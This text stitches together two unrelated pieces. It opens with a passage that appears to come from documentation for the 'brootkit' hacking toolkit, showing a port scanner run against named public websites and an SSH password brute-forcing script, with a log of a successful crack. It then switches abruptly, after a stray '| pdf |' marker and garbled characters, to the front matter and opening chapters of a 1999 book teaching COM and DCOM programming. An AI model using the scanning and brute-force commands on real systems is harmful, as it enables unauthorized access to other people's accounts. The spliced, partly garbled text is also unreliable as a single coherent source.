./brscan.sh -p 21,22,23-25,80,135-139,8080 -t 20 www.cloud-sec.org
./brscan.sh -p 1-65525 -n 200 -t 20 www.cloud-sec.org
[root@localhost brootkit]# ./brscan.sh -p 21,22,23-25,80,135-139,8080 -t 5 -n 20 www.wooyun.org
host: www.wooyun.org | total ports: 10 | thread num: 10 timeout: 5 | logfile: brscan.log
thread<0 > --
pid <57053> --> 21
thread<1 > --
pid <57054> --> 22
thread<2 > --
pid <57055> --> 23
thread<3 > --
pid <57056> --> 24
thread<4 > --
pid <57057> --> 80
thread<5 > --
pid <57058> --> 135
thread<6 > --
pid <57059> --> 136
thread<7 > --
pid <57060> --> 137
thread<8 > --
pid <57061> --> 138
thread<9 > --
pid <57070> --> 8080
[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>] 10/10 6 s
www.wooyun.org: 80
Ssh crack
[root@localhost brootkit]# ./sshcrack.sh
./sshcrack.sh <-h host> <-u user> <-p passwd> [-t timeout] [-n threadnum] [-o logfile]
option:
-h host name or host list file.
-u user name or user list file.
-p single passwd or passwd list file.
-t connect timeout, defalut is 5s.
-n thread num, default is 1.
-o log file.
-v display help information.
exp:
./sshcrack.sh -h 192.168.215.148 -u wzt -p passwd.lst
./sshcrack.sh -h 192.168.215.148 -u wzt -p passwd.lst -n 10 -t 2
./sshcrack.sh -h 192.168.215.148 -u user.lst -p passwd.lst -n 10 -t 2
./sshcrack.sh -h host.lst -u user.lst -p passwd.lst -n 10 -t 2
[root@localhost brootkit]# ./sshcrack.sh -h 192.168.215.148 -u wzt -p passwd.lst -n 6
host: 1 | users: 1 | passwd: 28 thread: 6 | timeout: 10 | logfile: sshcrack.log
Thread[ 1] [email protected] ==> [e
] [failed]
3
Thread[ 2] [email protected] ==> [a ] [failed]
3
Thread[ 3] [email protected] ==> [d
] [failed]
3
Thread[ 4] [email protected] ==> [giveshell
] [success]
6
Thread[ 5] [email protected] ==> [123456 ] [failed]
3
Thread[ 6] [email protected] ==> [fd
] [failed]
3
waiting all threads to finsh... | pdf |
Preface
%\ :LOOLDP 5XELQ DQG
0DUVKDOO %UDLQ
Copyright 1999 by Prentice Hall PTR
Prentice-Hall, Inc.
A Simon & Schuster Company
Upper Saddle River, NJ 07458
Prentice Hall books are widely used by corporations and govern-
ment agencies for training, marketing and resale.
The publisher offers discounts on this book when ordered in
bulk quantities. For more information, contact Corporate Sales
Department, Phone: 800-382-3419; fax: 201-236-7141;
email: [email protected]
Or write Corporate Sales Department, Prentice Hall PTR, One
Lake Street, Upper Saddle River, NJ 07458.
Product and company names mentioned herein are the trade-
marks or registered trademarks of their respective owners.
All rights reserved. No part of this book may
be reproduced, in any form or by any means,
without permission in writing from the publisher.
ISBN 0-13-095966-9
This electronic version of the book is provided strictly for use by
customers who have purchased the printed version of the book
and should not be reproduced or distributed in any way.
CONTENTS
Preface xiii
ONE
The Basics of COM
1
Classes and Objects
1
How COM Is Different
3
COM can Run Across Processes
3
COM Methods Can Be Called Across a Network
4
COM Objects Must Be Unique Throughout the World
5
COM is Language Indpendent
5
COM Vocabulary
5
The Interface
7
Interfaces Isolate the Client From the Server
8
Imagine a Component
10
What's in a Name?
10
The Source of All Interfaces - IUnknown
10
A Typical COM Object
11
How to Be Unique - the GUID
12
A COM Server
14
Interactions Between Client and Server
15
Summary
16
TWO
Understanding the Simplest COM
Client
19
Four Steps to Client Connectivity
20
Initializing the COM Subsystem:
21
Query COM for a Specific Interface
22
Execute a Method on the Interface.
24
Release the Interface
24
Summary
25
vi Contents
THREE
Understanding a Simple COM Server
27
Where's the Code?
28
Building a DLL-Based (In-Process) COM Server
29
Creating the Server Using the ATL Wizard
30
Adding a COM Object
33
Adding a Method to the Server
36
Running the Client and the Server
40
Summary
41
FOUR
Creating your own COM Clients and
Servers
43
Server Side
43
Client Side
45
FIVE
Understanding ATL-Generated Code
55
The Main C++ Module
56
Object Maps
58
Export File
58
The COM Object - "CBeepObj"
60
Object Inheritance
61
The Class Definition
62
The Method
63
Server Registration
64
Registry Scripts
65
Summary
66
Contents
vii
SIX
Understanding the Client and Server
67
Principles of COM
67
COM is About Interfaces
68
COM is Language-Independent
68
COM is Built Around the Concept of Transparency
69
Interfaces are Contracts Between the Client and Server
69
Software Changes. Interfaces Don't
70
Activation
71
More About Interfaces
73
VTABLES - Virtual Function Tables
75
The Class Factory
77
Singleton Classes
79
Understanding QueryInterface
81
Reference Counting with AddRef and Release
82
Method Calls
85
COM Identifiers: CLSID AND IID
87
CLSCTX -- Server Context
88
Inheritance
88
Summary
89
SEVEN
An Introduction to MIDL
91
Origins of the MIDL Compiler
91
Precisely Defining Interfaces with the IDL Language
92
MIDL Generated Headers
94
Automatically Generated Proxy/Stub Modules
94
Automatic Creation of Type Libraries
95
The IDL Language
95
Interfaces and Methods in IDL
97
The Component Class in IDL
100
Type Libraries in IDL
102
MIDL Post-Processing
103
Summary
105
viii Contents
EIGHT
Defining and Using Interfaces
107
Base Types
108
Attributes
109
Double Parameters
112
Boolean Parameters
113
Working with Strings
113
Arrays
119
Structures and Enumerations
121
Summary
123
NINE
OLE Automation and
Dual Interfaces
125
IDL Definitions
126
The IDispatch Interface
127
Using Invoke
133
Using Type Libraries for Early Binding
136
Dual Interfaces
137
There is no Proxy/Stub DLL for Dispatch
Interfaces
140
Properties
140
Adding Properties with the Class Wizard
142
Methods
144
The ISupportErrorInfo Interface
144
Summary
149
TEN
COM Threading Models
151
Synchronization and Marshaling
151
Threading Models
153
Apartment, Free, and Single Threads
155
Contents
ix
The ATL Wizard and Threading Models
156
Apartment Threads
158
Single Threads
159
Free Threaded Servers
160
Both
161
Marshaling Between Threads
162
Using Apartment Threads
163
Free Threading Model
164
Testing the Different Models
165
Summary
166
ELEVEN
The COM Registry
167
The COM Registry Structure
168
Registration of CLSIDs
171
Registration of ProgIDs
172
Registration of AppIDs
174
Self-Registration in ATL Servers
174
The RGS File
175
Automatic Registration of Remote Servers
177
In-Process Servers
178
Using the Registry API
178
Summary
178
TWELVE
Callback Interfaces
181
Client and Server Confusion
183
Custom Callback Interfaces
183
A Callback Example
185
Create the Server
185
Add a COM Object to the Server
186
Adding the ICallBack Interface to IDL
187
x Contents
Modify the Header
187
Adding the Advise Method to the Server
188
Adding the UnAdvise Method
189
Calling the Client from the Server
189
The Client Application
191
Create the Client Dialog Application
191
Adding the Callback COM Object
192
Linking to the Server Headers
194
COM Maps
194
Implementing the Callback Method
195
Adding the Object Map
195
Connecting to the Server
196
Cleaning Up
199
Adding the OnButton Code
199
A Chronology of Events
201
A Multi-Threaded Server
203
Starting the Worker Thread
205
Marshaling the Interface Between Threads
206
Starting the Worker Thread: Part 2
207
A Simple Worker Thread Class
208
Implementing the Worker Thread
209
All Good Threads Eventually Die
211
Summary
211
THIRTEEN Connection Points
213
Modifying the Callback Server
215
Adding Connection Points to the Client Program
220
Add the Callback Object to the Client
221
Modifying the CpClient Application
221
Registering With the Server’s Connection Point
Interface
222
Adding the Now and Later Buttons
226
Using the Connection Point - the Server Side
226
Adding the Later2 Method
228
Summary
228
Contents
xi
FOURTEEN Distributed COM
229
An Overview of Remote Connections
229
Converting a Client for Remote Access
231
Adding Security
234
Security Concepts
234
Access Permissions
235
Launch Permissions
236
Authentication
237
Impersonation
237
Identity
238
Custom Security
239
CoInitializeSecurity
239
Disconnection
242
Using the Registry for Remote Connections
243
Installing the Server on a Remote Computer
244
FIFTEEN
ATL and Compiler Support
245
C++ SDK Programming
245
MFC COM
246
ATL - The Choice for Servers
246
Basic Templates
247
A Simple Template Example
248
Template Classes
250
Native Compiler Directives
253
The #IMPORT Directive
253
Namespace Declarations
254
Smart Interface Pointers
255
Smart Pointer Classes
256
Watch Out for Destructors
257
Smart Pointer Error Handling
258
How the IMPORT Directive Works
260
Raw and Wrapper Methods
260
Summary
261
xii Contents
SIXTEEN Other Topics
263
Errors
263
Information Code
265
Facility Code
265
Customer Code Flag and Reserved bits
266
Severity Code
266
Looking Up HRESULTS
266
SCODES
267
Displaying Error Messages
267
Using FormatMessage
268
Aggregation and Containment
269
Building a COM Object with MFC
271
Adding Code for the Nested Classes
273
Accessing the Nested Class
275
APPENDIX COM Error Handling
277
Sources of Information
278
Common Error Messages
279
DCOM Errors
285
Get It Working Locally
285
Be Sure You Can Connect
286
Try Using a TCP/IP Address
287
Use TRACERT
287
Windows 95/98 Systems Will Not Launch Servers
288
Security is Tough
288
Using the OLE/COM Object Viewer
289
Index 291
PREFACE
Preface
The goal of this book is to make COM and DCOM comprehend-
ible to a normal person. If you have tried to learn COM and
found its complexity to be totally unbelievable, or if you have
ever tried to work with COM code and felt like you needed a
Ph.D. in quantum physics just to get by, then you know exactly
what this goal means. This book makes COM simple and accessi-
ble to the normal developer.
To meet the goal, this book does many things in a way that
is much different from other books. Here are three of the most
important differences:
1. This book is designed to clarify rather than to obfuscate.
The basic principles of COM are straightforward, so this
book starts at the beginning and presents them in a straight-
forward manner.
2. This book uses the simplest possible examples and presents
them one concept at a time. Rather than trying to cram 116
concepts into a single 50 page example program, we have
purposefully presented just one concept in each chapter.
For example, chapter 2 shows you that you can create a
complete, working, fully functional COM client with 10 lines
of code. And when you look at it, it will actually make
sense!
3. This book is not 1,200 pages long. You can actually make
your way through this entire book and all of its examples in
a handful of days. Once you have done that you will know
and understand all of the vocabulary and all of the concepts
needed to use COM on a daily basis.
xiv Preface
Think of this book as the ideal starting point. Once you
have read this book, all of the COM articles in the MSDN CD and
all of the information on the Web will be understandable to you.
You will be able to expand your knowledge rapidly. You will
have the perfect mental framework to allow you to make sense
of all the details.
Each chapter in this book explains an important COM topic
in a way that will allow you to understand it. Here is a quick tour
of what you will learn:
• Chapter 1: This chapter introduces you to the COM
vocabulary and concepts that you need in order to get
started.
• Chapter 2: This chapter presents a simple, working COM
client. The example is only about 10 lines long. You will
be amazed at how easy it is to connect to a COM server!
• Chapter 3: This chapter shows that you can create a com-
plete COM server with the ATL wizard and about 6 lines
of code. You can then connect client to server.
• Chapter 4: The previous two chapters will stun you. They
will demonstrate that you can create complete and work-
ing COM systems with just 15 or 20 lines of code. And
you will actually be able to understand it! This chapter
recaps so that you can catch your breath, and shows you
some extra error-handling code to make problem diagno-
sis easier.
• Chapter 5: This chapter delves into the code produced by
the ATL wizard so that it makes sense.
• Chapter 6: This chapter gives you additional detail on the
interactions between client and server so that you have a
better understanding of things like singleton classes and
method calls.
• Chapter 7: This chapter introduces you to MIDL and the
IDL language.
• Chapter 8: This chapter shows you how to use MIDL to
pass all different types of parameters.
• Chapter 9: This chapter shows you how to access your
COM servers from VB and other languages.
Preface
xv
• Chapter 10: This chapter clarifies the COM threading
models. If you have ever wondered about “apartment
threads”, this chapter will make threading incredibly easy!
• Chapter 11: This chapter uncovers the link between COM
and the registry so you can see what is going on.
• Chapter 12: This chapter demystifies COM callbacks so
you can implement bi-directional communication in your
COM applications.
• Chapter 13: This chapter explains connection points, a
more advanced form of bi-directional communication.
• Chapter 14: This chapter shows how to use your COM
objects on the network and delves into a number of secu-
rity topics that often get in the way.
• Chapter 15: This chapter further clarifies ATL, smart point-
ers, import libraries and such.
• Chapter 16: This chapter offers a collection of information
on things like COM error codes and MFC support for
COM.
• Error Appendix: Possibly the most valuable section of the
book, this appendix offers guidelines and strategies for
debugging COM applications that don’t work. COM uses
a number of interacting components, so bugs can be hard
to pin down. This chapter shows you how!
Read this book twice. The first time through you can load your
brain with the individual concepts and techniques. The second
time through you can link it all together into an integrated
whole. Once you have done that, you will be startled at how
much you understand about COM, and how easy it is to use
COM on a daily basis!
For additional information, please see our web site at:
http://www.iftech.com/dcom
It contains an extensive resource center that will further acceler-
ate your learning process.
xvi Preface
O
N
E
1
The Basics of
COM
Understanding how COM works can be intimidating at first. One
reason for this intimidation is the fact that COM uses its own
vocabulary. A second reason is that COM contains a number of
new concepts. One of the easiest ways to master the vocabulary
and concepts is to compare COM objects to normal C++ objects
to identify the similarities and differences. You can also map
unfamiliar concepts from COM into the standard C++ model that
you already understand. This will give you a comfortable starting
point, from which we'll look at COM's fundamental concepts.
Once we have done this, the examples presented in the follow-
ing sections will be extremely easy to understand.
Classes and Objects
Imagine that you have created a simple class in C++ called xxx.
It has several member functions, named MethodA, MethodB and
MethodC. Each member function accepts parameters and returns
a result. The class declaration is shown here:
2 Chapter 1 •
The Basics of COM
class xxx {
public:
int MethodA(int a);
int MethodB(float b);
float MethodC(float c);
};
The class declaration itself describes the class. When you
need to use the class, you must create an instance of the object.
Instantiations are the actual objects; classes are just the defini-
tions. Each object is created either as a variable (local or global)
or it is created dynamically using the new statement. The new
statement dynamically creates the variable on the heap and
returns a pointer to it. When you call member functions, you do
so by dereferencing the pointer. For example:
xxx *px; // pointer to xxx class
px = new xxx; // create object on heap
px->MethodA(1); // call method
delete px; // free object
It is important for you to understand and recognize that
COM follows this same objected oriented model. COM has
classes, member functions and instantiations just like C++ objects
do. Although you never call new on a COM object, you must still
create it in memory. You access COM objects with pointers, and
you must de-allocate them when you are finished.
When we write COM code, we won't be using new and
delete. Although we're going to use C++ as our language, we'll
have a whole new syntax. COM is implemented by calls to the
COM API, which provides functions that create and destroy COM
objects. Here's an example COM program written in pseudo-
COM code.
ixx *pi // pointer to COM interface
CoCreateInstance(,,,,&pi) // create interface
pi->MethodA(); // call method
pi->Release(); // free interface
How COM Is Different
3
Additonal Information and Updates: http://www.iftech.com/dcom
In this example, we'll call class ixx an "interface". The vari-
able pi is a pointer to the interface. The method CoCreateIn-
stance creates an instance of type ixx. This interface pointer is
used to make method calls. Release deletes the interface.
I've purposely omitted the parameters to CoCreateInstance.
I did this so as not to obscure the basic simplicity of the pro-
gram. CoCreateInstance takes a number of arguments, all of
which need some more detailed coverage. None of that matters
at this moment, however. The point to notice is that the basic
steps in calling a COM object are identical to the steps taken in
C++. The syntax is simply a little different.
Now let's take a step back and look at some of the bigger
differences between COM and C++.
How COM Is Different
COM is not C++, and for good reason. COM objects are some-
what more complicated then their C++ brethren. Most of this
complication is necessary because of network considerations.
There are four basic factors dictating the design of COM:
• C++ objects always run in the same process space. COM
objects can run across processes or across computers.
• COM methods can be called across a network.
• C++ method names must be unique in a given process
space. COM object names must be unique throughout the
world.
• COM servers may be written in a variety of different lan-
guages and on entirely different operating systems, while
C++ objects are always written in C++.
Let's look at what these differences between COM and C++
mean to you as a programmer.
COM can Run Across Processes
In COM, you as the programmer are allowed to create objects in
other processes, or on any machine on the network. That does
not mean that you will always do it (in many cases you won't).
4 Chapter 1 •
The Basics of COM
However, the possibility means that you can't create a COM
object using the normal C++ new statement, and calling its meth-
ods with local procedure calls won't suffice.
To create a COM object, some executing entity (an EXE or a
Service) will have to perform remote memory allocation and
object creation. This is a very complex task. By remote, we mean
in another process or on another machine. This problem is
solved by creating a concept called a COM server. This server
will have to maintain tight communication with the client.
COM Methods Can Be Called Across a Network
If you have access to a machine on the network, and if a COM
server for the object you want to use has been installed on that
machine, then you can create the COM object on that computer.
Of course, you must the proper privileges, and everything has to
be set-up correctly on both the server and client computer. But if
everything is configured properly and a network connection
exists, activating a COM server on one machine from another
machine is easy.
Since your COM object will not necessarily be on the local
machine, you need a good way to "point to" it, even though its
memory is somewhere else. Technically, there is no way to do
this. In practice, it can be simulated by introducing a whole new
level of objects. One of the ways COM does this is with a con-
cept called a proxy/stub. We'll discuss proxy/stubs in some detail
later.
Another important issue is passing data between the COM
client and its COM server. When data is passed between pro-
cesses, threads, or over a network, it is called "marshaling".
Again, the proxy/stub takes care of the marshaling for you. COM
can also marshal data for certain types of interface using Type
Libraries and the Automation marshaller. The Automation mar-
shaller does not need to be specifically built for each COM
server - it is a general tool.
COM Vocabulary
5
Additonal Information and Updates: http://www.iftech.com/dcom
COM Objects Must Be Unique Throughout the World
OM objects must be unique throughout the world. This may
seem like an exaggeration at first, but consider the Internet to be
a worldwide network. Even if you're working on a single com-
puter, COM must handle the possibility. Uniqueness is the issue.
In C++ all classes are handled unequivocally by the compiler.
The compiler can see the class definition for every class used in
a program and can match up all references to it to make sure
they conform to the class exactly. The compiler can also guaran-
tee that there is only one class of a given name. In COM there
must be a good way to get a similarly unequivocal match. COM
must guarantee that there will only be one object of a given
name even though the total number of objects available on a
worldwide network is huge. This problem is solved by creating a
concept called a GUID.
COM is Language Indpendent
COM servers may be written with a different language and an
entirely different operating system. COM objects have the capa-
bility of being remotely accessible. That means they may be in a
different thread, process, or even on a different computer. The
other computer may even be running under a different operating
system. There needs to be a good way to transmit parameters
over the network to objects on other machines. This problem is
solved by creating a new way to carefully specify the interface
between the client and server. There is also a new compiler
called MIDL (Microsoft Interface Definition Language). This com-
piler makes it possible to generically specify the interface
between the server and client. MIDL defines COM objects, inter-
faces, methods and parameters.
COM Vocabulary
One of the problems we're going to have is keeping track of two
sets of terminology. You're probably already familiar with C++
6 Chapter 1 •
The Basics of COM
and some Object Oriented terminology. This table provides a
rough equivalency between COM and conventional terminology.
You'll notice the concepts of Interface and marshaling don't
translate well into the C++ model. The closest thing to an inter-
face in C++ is the export definitions of a DLL. DLL's do many of
the same things that COM does when dealing with a tightly cou-
pled (in-process) COM server. Marshaling in C++ is almost
entirely manual. If you're trying to copy data between processes
and computers, you'll have to write the code using some sort of
inter-process communication. You have several choices, includ-
ing sockets, the clipboard, and mailslots. In COM marshaling is
generally handled automatically by MIDL.
Concept
Conventional
(C++/OOP)
COM
Client
A program that requests ser-
vices from a server.
A program that calls COM
methods on a COM object
running on a COM server.
Server
A program that "serves" other
programs.
A program that makes COM
objects available to a COM cli-
ent.
Interface
None.
A pointer to a group of func-
tions that are called through
COM.
Class
A data type. Defines a group
of methods and data that are
used together.
The definition of an object
that implements one or more
COM interfaces. Also,
"coclass".
Object
An instance of a class.
The instance of a coclass.
Marshaling
None.
Moving data (parameters)
between client and server.
Table 1.1
A comparison of conventional C++ terminology with COM ter-
minology
The Interface
7
Additonal Information and Updates: http://www.iftech.com/dcom
The Interface
Thus far, we've been using the word "interface" pretty loosely.
My dictionary (1947 American College Dictionary) defines an
interface as follows:
"Interface, n. a surface regarded as the common boundary
of two bodies or surfaces"
That's actually a useful general description. In COM "inter-
face" has a very specific meaning and COM interfaces are a com-
pletely new concept, not available in C++. The concept of an
interface is initially hard to understand for many people because
an interface is a ghostlike entity that never has a concrete exist-
ence. It's sort of like an abstract class but not exactly.
At its simplest, an interface is nothing but a named collec-
tion of functions. In C++, a class (using this terminology) is
allowed only one interface. The member functions of that inter-
face are all the public member functions of the class. In other
words, the interface is the publicly visible part of the class. In
C++ there is almost no distinction between an interface and a
class. Here's an example C++ class:
class yyy {
public:
int DoThis();
private:
void Helper1();
int count;
int x,y,z;
};
When someone tries to use this class, they only have access
to the public members. (For the moment we're ignoring pro-
tected members and inheritance.) They can't call Helper1, or use
any of the private variables. To the consumer of this class, the
definition looks like this:
class yyy {
int DoThis();
};
8 Chapter 1 •
The Basics of COM
This public subset of the class is the 'interface' to the outside
world. Essentially the interface hides the guts of the class from
the consumer.
This C++ analogy only goes so far. A COM interface is not a
C++ class. COM interfaces and classes have their own special set
of rules and conventions.
COM allows a coclass (COM class) to have multiple inter-
faces, each interface having its own name and its own collection
of functions. The reason for this feature is to allow for more
complex and functional objects. This is another concept that is
alien to C++. (Perhaps multiple interfaces could be envisioned as
a union of two class definitions - something that isn't allowed in
C++.)
Interfaces Isolate the Client From the Server
One of the cardinal rules of COM is that you can only access a
COM object through an interface. The client program is com-
pletely isolated from the server's implementation through inter-
faces. This is an extremely important point. Let’s look at a
common everyday example to try to understand the point.
When you get into a car, you are faced with a variety of user
interface. There is one interface that allows you to drive the car.
Another allows you to work the headlights. Another controls the
radio. And so on...
Figure 1–1
COM objects expose their functionality in one or more inter-
faces. An interface is a collection of functions.
COM
Object
Interfaces
The Interface
9
Additonal Information and Updates: http://www.iftech.com/dcom
There are many kinds of cars, but not all of them have
radios. Therefore, they do not all implement the radio interface,
although they do support the driving interface. In all cars that do
have radios the capabilities of the radio are the same. A person
driving a car without a radio can still drive, but cannot hear
music. In a car that does have a radio, the radio interface is avail-
able.
COM supports this same sort of model for COM classes. A
COM object can support a collection of interfaces, each of which
has a name. For COM objects that you create yourself, you will
often define and use just a single COM interface. But many exist-
ing COM objects support multiple COM interfaces depending on
the features they support.
Another important distinction is that the driving interface is
not the car. The driving interface doesn't tell you anything about
the brakes, or the wheels, or the engine of the car. You don't
drive the engine for example, you use the faster and slower
methods (accelerator and brakes) of the driving interface. You
don't really care how the slower (brake) method is implemented,
as long as the car slows down. Whether the car has hydraulic or
air brakes isn't important. The interface isolates you from the
implemenation details.
Driving
Radio
Left()
On()
Right()
Off()
Slower()
Louder()
Faster()
Softer()
Forward()
NextStation()
Reverse()
PrevStation()
Table 1.2
Typical interfaces that a driver finds inside a car. If the car does
not have a radio, then the radio interface is not available but
the driver can still drive.
10 Chapter 1 •
The Basics of COM
Imagine a Component
When you're building a COM object, you are very concerned
about how the interface works. The user of the interface, how-
ever, shouldn't be concerned about its implementation. Like the
brakes on a car, the user cares only that the interface works, not
about the details behind the interface.
This isolation of interface and implementation is crucial for
COM. By isolating the interface from its implementation, we can
build components. Components can be replaced and re-used.
This both simplifies and multiplies the usefulness of the object.
What's in a Name?
One important fact to recognize is that a named COM interface is
unique. That is, a programmer is allowed to make an assumption
in COM that if he accesses an interface of a specific name, the
member functions and parameters of that interface will be
exactly the same in all COM objects that implement the interface.
So, following our example, the interfaces named "driving" and
"radio" will have exactly the same member function signature in
any COM object that implements them. If you want to change
the member functions of an interface in any way, you have to
create a new interface with a new name.
The Source of All Interfaces - IUnknown
Traditional explanations of COM start out with a thorough
description of the IUnknown interface. IUnknown is the funda-
mental basis for all COM interfaces. Despite its importance, you
don't need to know about IUnknown to understand the interface
concept. The implementation of IUnknown is hidden by the
higher level abstractions we'll be using to build our COM objects.
Actually, paying too much attention to IUnknown can be confus-
ing. Let's deal with it at a high level here so you understand the
concepts.
IUnknown is like an abstract base class in C++. All COM
interfaces must inherit from IUnknown. IUnknown handles the
creation and management of the interface. The methods of IUn-
known are used to create, reference count, and release a COM
A Typical COM Object
11
Additonal Information and Updates: http://www.iftech.com/dcom
object. All COM interfaces implement these 3 methods and they
are used internally by COM to manage interfaces.
A Typical COM Object
Now let's put all of these new concepts together and describe a
typical COM object and a program that wants to access it. In the
next section and the following chapters we will make this real by
implementing the actual code for the object.
Imagine that you want to create the simplest possible COM
object. This object will support a single interface, and that inter-
face will contain a single function. The purpose of the function is
also extremely simple - it beeps. When a programmer creates
this COM object and calls the member function in the single
interface the object supports, the machine on which the COM
object exists will beep. Let's further imagine that you want to run
this COM object on one machine, but call it from another over
the network.
Here are the things you need to do to create this simple
COM object:
• You need to create the COM object and give it a name.
This object will be implemented inside a COM server that
is aware of this object.
• You need to define the interface and give it a name.
• You need to define the function in the interface and give
it a name.
• You'll need to install the COM server.
For this example, let's call the COM object Beeper, the inter-
face IBeep and the function Beep. One problem you immedi-
ately run into in naming these objects is the fact that all machines
in the COM universe are allowed to support multiple COM serv-
ers, each containing one or more COM objects, with each COM
object implementing one or more interfaces. These servers are
created by a variety of programmers, and there is nothing to stop
the programmers from choosing identical names. In the same
way, COM objects are exposing one or more named interfaces,
12 Chapter 1 •
The Basics of COM
again created by multiple programmers who could randomly
choose identical names. Something must be done to prevent
name collision, or things could get very confusing. The concept
of a GUID, or a Globally Unique IDentifier, solves the "how do
we keep all of these names unique" problem.
How to Be Unique - the GUID
There are really only two definitive ways to ensure that a name
is unique:
1. You register the names with some quasi-governmental orga-
nization.
2. You use a special algorithm that generates unique numbers
that are guaranteed to be unique world-wide (no small
task).
The first approach is how domain names are managed on
the network. This approach has the problem that you must pay
$50 to register a new name and it takes several days for registra-
tion to take effect.
The second approach is far cleaner for developers. If you
can invent an algorithm that is guaranteed to create a unique
name each time anyone on the planet calls it, the problem is
solved. Actually, this problem was originally addressed by the
Open Software Foundation (OSF). OSF came up with an algo-
rithm that combines a network address, the time (in 100 nano-
second increments), and a counter. The result is a 128-bit
number that is unique.
The number 2 raised to the 128 power is an extremely large
number. You could identify each nanosecond since the begin-
ning of the universe - and still have 39 bits left over. OSF called
this the UUID, for Universally Unique Identifier. Microsoft uses
this same algorithm for the COM naming standard. In COM
Microsoft decided to re-christen it as a Globally Unique Identi-
fier: GUID.
The convention for writing GUID's is in hexadecimal. Case
isn't important. A typical GUID looks like this:
How to Be Unique - the GUID
13
Additonal Information and Updates: http://www.iftech.com/dcom
"50709330-F93A-11D0-BCE4-204C4F4F5020"
Since there is no standard 128-bit data type in C++, we use a
structure. Although the GUID structure consists of four different
fields, you'll probably never need to manipulate its members.
The structure is always used in its entirety.
typedef struct _GUID
{
unsigned long Data1;
unsigned short Data2;
unsigned short Data3;
unsigned char Data4[8];
} GUID;
The common pronunciation of GUID is "gwid", so it sounds
like ‘squid’. Some people prefer the more awkward pronuncia-
tion of "goo-wid" (sounds like ‘druid’).
GUIDs are generated by a program called GUIDGEN. In
GUIDGEN you push a button to generate a new GUID. You are
guaranteed that each GUID you generate will be unique, no mat-
ter how many GUIDs you generate, and how many people on
the planet generate them. This can work because of the follow-
ing assumption: all machines on the Internet have, by definition,
a unique IP address. Therefore, your machine must be on the
network in order for GUIDGEN to work to its full potential.
Actually, if you don't have a network address GUIDGEN will
fake one, but you reduce the probability of uniqueness.
Both COM objects and COM interfaces have GUIDs to iden-
tify them. So the name "Beeper" that we choose for our object
would actually be irrelevant. The object is named by its GUID.
We call the object's GUID the class ID for the object. We could
then use a #define or a const to relate the name “Beeper” to the
GUID so that we don't have 128-bit values floating throughout
the code. In the same way the interface would have a GUID.
Note that many different COM objects created by many different
programmers might support the same IBeep interface, and they
would all use the same GUID to name it. If it is not the same
14 Chapter 1 •
The Basics of COM
GUID, then as far as COM is concerned it is a different interface.
The GUID is the name.
A COM Server
The COM server is the program that implements COM interfaces
and classes. COM Servers come in three basic configurations.
• In-process, or DLL servers
• Stand-alone EXE servers
• Windows NT based services.
COM objects are the same regardless of the type of server.
The COM interfaces and coclasses don't care what type of server
is being used. To the client program, the type of server is almost
entirely transparent. Writing the actual server however, can be
significantly different for each configuration:
• In-Process servers are implemented as Dynamic Link
Libraries (DLL's). This means that the server is dynami-
cally loaded into your process at run-time. The COM
server becomes part of your application, and COM opera-
tions are performed within application threads. Tradition-
ally this is how many COM objects have been
implemented because performance is fantastic - there is
minimal overhead for a COM function call but you get all
of the design and reuse advantages of COM. COM auto-
matically handles the loading and unloading of the DLL.
• An out-of-process server has a more clear-cut distinction
between the client and server. This type of server runs as
a separate executable (EXE) program, and therefore in a
private process space. The starting and stopping of the
EXE server is handled by the Windows Service Control
Manager (SCM). Calls to COM interfaces are handled
through inter-process communication mechanisms. The
server can be running on the local computer or on a
remote computer. If the COM server is on a remote com-
puter, we refer to it as "Distributed COM", or DCOM.
Interactions Between Client and Server
15
Additonal Information and Updates: http://www.iftech.com/dcom
• Windows NT offers the concept of a service. A service is a
program that is automatically managed by Windows NT,
and is not associated with the desktop user. This means
services can start automatically at boot time and can run
even if nobody is logged on to Windows NT. Services
offer an excellent way to run COM server applications.
• There is a fourth type of server, called a "surrogate". This
is essentially a program that allows an in-process server to
run remotely. Surrogates are useful when making a DLL-
based COM server available over the network.
Interactions Between Client and Server
In COM, the client program drives everything. Servers are
entirely passive, only responding to requests. This means COM
servers behave in a synchronous manner toward individual
method calls from the client.
• The client program starts the server.
• The client requests COM objects and interfaces.
• The client originates all method calls to the server.
• The client releases server interfaces, allowing the server
to shut down.
This distinction is important. There are ways to simulate
calls going from server to client, but they are odd to implement
and fairly complex (They are called callbacks and are discussed
later). In general, the server does nothing without a client
request.
Table 1.3 is a typical interaction between a COM client and
server. In COM you must take a client-centric approach.
16 Chapter 1 •
The Basics of COM
Summary
We've tried to look at COM from several points of view. C++ is
the native language of COM, but it's important to see beyond the
similarities. COM has many analogues in C++, but it has impor-
tant differences. COM offers a whole new way of communicating
between clients and servers.
The interface is one of the most important COM concepts.
All COM interactions go through interfaces, and they shape that
interaction. Because interfaces don't have a direct C++ counter-
part, they are sometimes difficult for people to grasp. We've also
introduced the concept of the GUID. GUIDs are ubiquitous in
COM, and offer a great way to identify entities on a large net-
work.
COM servers are merely the vehicles for delivering COM
components. Everything is focused on the delivery of COM com-
Client Request
Server Response
Requests access to a specific
COM interface, specifying the
COM class and interface (by
GUID)
• Starts the server (if required). If it is an
In-Process server, the DLL will be
loaded. Executable servers will be run
by the SCM.
• Creates the requested COM object.
• Creates an interface to the COM object.
• Increments the reference count of
active interfaces.
• Returns the interface to the client.
Calls a method of the interface.
Executes the method on a COM object.
Release the interface
• Decrements the interface’s reference
count.
• If the reference count is zero, it may
delete the COM object.
• If there are no more active connections,
shut down the server. Some servers do
not shut themselves down.
Table 1.3
Interactions between a COM client and Server.
Summary
17
Additonal Information and Updates: http://www.iftech.com/dcom
ponents to a client application. In the following chapters, we'll
create a simple client and server application to demonstrate
these concepts.
18 Chapter 1 •
The Basics of COM
T
W
O
2
Understanding
the Simplest COM
Client
The most straightforward way to begin understanding COM is to
look at it from the perspective of a client application. Ultimately,
the goal of COM programming is to make useful objects avail-
able to client applications. Once you understand the client, then
understanding servers becomes significantly easier. Keeping cli-
ents and servers straight can be confusing, and COM tends to
make the picture more complex when you are first learning the
details.
Therefore, let's start with the simplest definition: A COM cli-
ent is a program that uses COM to call methods on a COM
server. A straightforward example of this client/server relation-
ship would be a User Interface application (the client) that calls
methods on another application (the server). If the User Interface
application calls those methods using COM, then the user inter-
face application is, by definition, a COM client.
We are belaboring this point for good reason - the distinc-
tion between COM servers and clients can get (and often is)
much more complex. Many times, the application client will be a
COM server, and the application's server will be a COM client.
It's quite common for an application to be both a COM client
and server. In this chapter, we will keep the distinction as simple
